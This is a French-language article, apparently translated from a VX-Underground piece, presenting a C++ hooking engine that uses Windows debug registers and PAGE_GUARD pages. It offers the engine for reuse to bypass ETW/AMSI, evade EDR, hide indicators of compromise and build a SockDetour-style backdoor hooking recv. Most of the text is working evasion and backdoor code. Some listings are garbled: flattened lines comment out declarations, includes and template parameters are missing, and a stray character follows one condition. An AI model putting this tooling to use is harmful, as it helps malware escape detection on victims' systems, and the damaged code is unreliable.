
Moteur de hooking par points d'arrêt matériels pour Windows qui utilise les registres de débogage pour hooker des fonctions, contourner ETW/AMSI et échapper à la surveillance EDR en espace utilisateur.
Cet article était à l’origine destiné au VX-Underground Black Mass Halloween Edition 2022.
Moteurs de hooking :
Technique générique d’évasion en user-land x64 utilisant les registres de débogage :
Exemples de hooks ETW/AMSI disponibles
Notre tâche consiste à hooker trivialement des fonctions et à détourner le flux du code selon les besoins, puis à supprimer le hook une fois qu’il n’est plus nécessaire.
Nous ne pouvons pas envisager d’appliquer des hooks IAT car ils ne sont pas toujours appelés et donc peu fiables. Le hooking inline est une technique puissante ; cependant, elle nécessite de patcher la mémoire là où se trouve le code. C’est une technique puissante, mais des outils tels que PE-Sieve et Moneta peuvent distinguer la différence entre la copie résidente en mémoire et celle sur disque d’un module et signaler cela. Cela nous laisse avec l’outil parfait pour le travail : les registres de débogage, bien qu’ils soient assez sous-estimés par les auteurs de malwares !
Sur Windows, en résumé, un processus est essentiellement une encapsulation de threads, et chacun de ces threads maintient un contexte qui est l’état du thread : les registres et la pile, etc. Les registres de débogage sont une ressource privilégiée, tout comme leur configuration ; cependant, Windows expose divers syscalls qui nous permettent de demander au noyau d’effectuer une action privilégiée en notre nom ; cela inclut la configuration des registres de débogage qui sont parfaits pour nous. NtSetThreadContext et NtGetThreadContext exposent des fonctionnalités permettant de modifier tout contexte de thread pour lequel nous pouvons ouvrir un handle avec le privilège nécessaire. Nous pouvons voir comment définir les registres de débogage avec l’API Win32.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
Il y a 8 registres de débogage, de Dr0 à Dr7. Ceux qui nous intéressent sont uniquement
Dr0-3, dans lesquels nous stockons les adresses sur lesquelles nous souhaitons placer des points d'arrêt, et Dr6 n'est que le statut de débogage.
Le plus important est Dr7, qui décrit les conditions des points d'arrêt dans lesquelles le processeur lèvera une exception. L'utilisation des registres de débogage comporte diverses limitations, comme un nombre limité (4) et le fait qu'ils ne s'appliquent pas à tous les threads/nouveaux threads créés. Nous allons chercher à remédier à certaines de ces limitations !
Lorsque l'exception est levée, le processeur recherche un gestionnaire d'exceptions que nous pouvons définir et enregistrer dans notre programme [1]. Dans notre gestionnaire d'exceptions défini, nous voulons que notre code associé (différents flux de code) s'exécute lorsque le point d'arrêt correspondant est déclenché.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
Ceci est réalisé par une fonction constructeur qui définit la correspondance entre une fonction lambda "callback" et une adresse. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
Nous devons parcourir tous les threads de nos processus et définir les ajustements correspondants dans le contexte pour chacun d'eux. Cela peut être réalisé à l'aide des fonctions d'assistance ToolHelp32 : CreateToolhelp32Snapshot et Thread32Next. Ce n'est rien d'extraordinaire, mais cela répond à l'une de nos limites : ne pas nous attacher à tous les threads.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
Le fait d'avoir des points d'arrêt matériels définis est sans doute suspect, car cela peut indiquer une activité malveillante (bien qu'aucun EDR, à ma connaissance, ne les recherche activement). Ils peuvent être utilisés contre nous comme un IoC potentiel, nous devons donc supprimer leurs traces une fois que nous avons fini de les utiliser.
Nous pouvons implémenter cela dans notre fonction de destructeur !! Cela itérera sur tous les threads et vérifiera si le registre (&context.Dr0)[pos] pointe vers l'adresse à laquelle nous avons initialement défini le point d'arrêt matériel (pos est simplement un index % 4 nous donnant accès aux context.Dr0-Dr3). Nous pouvons également supprimer les conditions nécessaires dans le registre Dr7. Nous devons aussi penser à supprimer notre entrée de mappage. Par conséquent, notre point d'arrêt matériel ne sera présent que pendant la durée requise !```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
Un exemple de point d'arrêt matériel serait Sleep, où l'on remplace simplement la durée du sommeil
par 0.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
Nous savons qu'il faut définir RCX en raison de la convention d'appel rapide à quatre registres de Windows x64[1]. Le premier argument du constructeur est l'adresse sur laquelle placer le point d'arrêt, le second est le registre Dr0- 3 dans lequel stocker (notez que nous ne pouvons avoir que 4 adresses de point d'arrêt à la fois), et le troisième est une fonction lambda qui capturera par référence PEXCEPTION_POINTERS, qui est l'information qu'un gestionnaire d'exceptions recevra. Cela nous permettra en fin de compte de contrôler le déroulement d'un programme différemment selon le point d'arrêt qui a été déclenché.
Lorsqu'un nouveau thread est créé, il n'hérite pas de l'ensemble des registres de débogage associés à moins que nous parvenions d'une manière ou d'une autre à intercepter la création d'un nouveau thread ! Une astuce intéressante que nous pouvons utiliser serait de capturer l'adresse de départ réelle et de détourner le nouveau thread pour créer notre propre thread. La plupart des nouveaux threads finissent par appeler NtCreateThreadEx.```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
Une limitation de cette solution est que la pile d'appels du thread aura pour origine le HijackThread de notre DLL injectée et non le thread d'origine ! Alternativement, une meilleure solution serait d'appeler NtCreateThreadEx nous-mêmes mais de le démarrer dans un état suspendu, puis de définir les points d'arrêt matériels nécessaires. Nous restaurons ensuite l'exécution en reprenant le thread suspendu avec les registres de débogage définis pour ce nouveau thread. Cela répondra à une autre limitation liée à l'utilisation des registres de débogage.
Appeler l'instruction sur laquelle nous avons un point d'arrêt déclencherait une boucle infinie ; par conséquent, nous désactivons temporairement le point d'arrêt matériel responsable du déclenchement de notre RIP actuelle. Puis, une fois l'appel terminé, nous pouvons le restaurer. Cela nous permettra ainsi d'appeler la fonction d'origine (comme un trampoline). Dans ce cas, nous devons pointer notre RIP vers un gadget ret afin qu'il puisse revenir et ne pas exécuter une autre instruction syscall.
Le 5e paramètre, et les suivants, peuvent être trouvés poussés sur la pile à intervalles de 0x8 octets [2]. Notre pile ressemble à ceci lorsque nous déclenchons le point d'arrêt.```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// temporary disable of NtCreateThreadEx in our current thread.
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// create the original thread BUT suspended
// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
// Setup required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
// restore our HWBP on NtCreateThreadEx
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// RAX contains the return value.
ExceptionInfo->ContextRecord->Rax = status;
// Set RIP to a ret gadget to avoid creating
// another new thread (skip syscall instruction)
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Je partage un moteur de hooking par points d'arrêt matériels que vous pouvez utiliser, écrit en C++. Le point d'arrêt matériel de l'exemple définit un point d'arrêt dans Dr0 sur la fonction sleep, et définit la première valeur (dans RCX) à 0, sautant ainsi tous les sleep. Pour définir ce point d'arrêt dans tous les futurs nouveaux threads, vous pouvez utiliser l'exemple ci-dessus, qui utilise Dr1.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>
#include <tlhelp32.h> #include
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd =
OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {
}; break;
case DLL_PROCESS_DETACH: {
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
Comme nous l'avons discuté précédemment, conserver un ensemble de registres de débogage est une mauvaise pratique. Par conséquent, nous
compléterons notre utilisation des registres de débogage avec des hooks PAGE_GUARD, ce qui nous permettra de libérer
un des registres de débogage : Dr1 (utilisé pour NtCreateThreadEx).
Les PAGE_GUARDs sont essentiellement une protection mémoire à usage unique qui lèvera une exception. Ils
sont appliqués aux pages au niveau le plus bas de granularité d'allocation présent dans le système (
ce qui peut parfois s'avérer être un obstacle). Le hooking PAGE_GUARD n'a rien de nouveau, mais nous
pouvons l'utiliser pour remédier à certaines de nos limitations. Nous appliquerons initialement notre PAGE_GUARD à
l'adresse, et le PAGE_GUARD sera déclenché en levant une PAGE_GUARD_VIOLATION.
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
Nous pouvons appliquer le même concept consistant à mapper un lambda pour qu'il se déclenche à une adresse spécifique. Nous
parcourrons pas à pas les instructions de la fonction sur notre page actuelle tout en réappliquant
le PAGE_GUARD. C'est évidemment relativement lent, mais cela présente l'avantage de ne pas réserver
un registre de débogage. Pour la raison principale de la lenteur, nous avons choisi de ne pas les utiliser
en premier lieu.```c
typedef struct {
EXCEPTION_FUNC func;
} PG_CALLBACK;
std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
PG_ADDRESS_MAP[address].func = function;
Pour appliquer les hooks des registres de débogage aux nouveaux threads, nous pouvons simplement copier l'exemple précédent de hooking de NtCreateThreadEx mais supprimer les boucles où nous désactivons et restaurons les HWBPs pour notre thread actuel.
Nous pouvons introduire le deuxième exemple de code où nous effectuons le hook mentionné ci-dessus de NtCreateThreadEx avec des PAGE_GUARDs. Comme précédemment, notre fonction de déconstruction supprimera l'entrée dans notre mapping et retirera les protections (si elles sont définies).```c
////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include // std::function
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;
typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
PG_ADDRESS_MAP[address].func = function;
}
VOID RemovePGEntry()
{
VirtualProtect((LPVOID)address, 1, old, &old);
PG_ADDRESS_MAP.erase(address);
}
~PGBP()
{
RemovePGEntry();
}
private: DWORD old; const uintptr_t address; };
////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };
HWBP HWBPSleep{
(uintptr_t)&Sleep,
1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
PGBP VEHNtCreateThreadEx{
(uintptr_t)GetProcAddress(
GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"
),
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// create a new thread suspended
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context{ 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
ExceptionInfo->ContextRecord->Rax = status;
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Sleep(1000000);
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
if (t) WaitForSingleObject(t, INFINITE);
}
if (handler) RemoveVectoredExceptionHandler(handler);
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
Après avoir appliqué la théorie pour créer un moteur de hooking polyvalent par points d'arrêt matériels, nous
allons continuer à utiliser un mélange de registres de débogage et de PAGE_GUARDs, comme illustré dans nos
exemples précédents, pour implémenter une backdoor inspirée de SockDetour [3] sous forme de DLL en C++. Nous
allons placer un point d'arrêt matériel sur la fonction recv pour y parvenir et construire la
logique requise dans le lambda correspondant. Nous appliquerons également un PAGE_GUARD à
NtCreateThreadEx et utiliserons notre technique précédente consistant à créer le thread dans un état
suspendu pour définir les bons registres de débogage.
Malgré la nature lente des hooks PAGE_GUARD, cela ne devrait pas poser problème tant que
le modèle de serveur ne crée pas un nouveau thread pour chaque requête, ce qui entraînerait des
performances subliminales. La plupart des modèles de serveurs réseau maintiennent un pool de threads qui sont démarrés
et initialisés au lancement du programme. Pour mieux comprendre ces modèles de serveurs,
Microsoft propose une variété d'exemples sur Github [4] ; l'exemple IOCP est un excellent
exemple de ce à quoi ressemble un modèle de serveur performant et évolutif pour le contexte.
Le début de votre backdoor pourrait ressembler à ceci :
```cpp
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
char verbuf[9]{ 0 };
int verbuflen{ 9 }, recvlen{ 0 };
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
verbuflen, MSG_PEEK);
BYTE TLS[] = { 0x17, 0x03, 0x03 };
if (recvlen >= 3) {
if ((memcmp(verbuf, TLS, 3) == 0))1
{
MSG_AUTH msg{ 0 };
// We'll peek like SockDetour as to not eat the message
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
sizeof(MSG_AUTH), MSG_PEEK);
// Authenticate and proceed
}
}
// Set corresponding Dr
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
Nous terminerons en implémentant une technique générique d'évasion userland x64 inspirée de TamperingSyscalls, qui utilise une version convenablement modifiée du moteur de points d'arrêt matériels présenté précédemment pour masquer jusqu'à 12 arguments d'un maximum de 4 syscalls Nt quelconques à tout moment par thread. Notez que j'ai choisi de ne pas propager le contenu des registres de débogage à tous les threads, car cela serait probablement indésirable (si vous le souhaitez, remplacez SetHWBP par SetHWBPS).
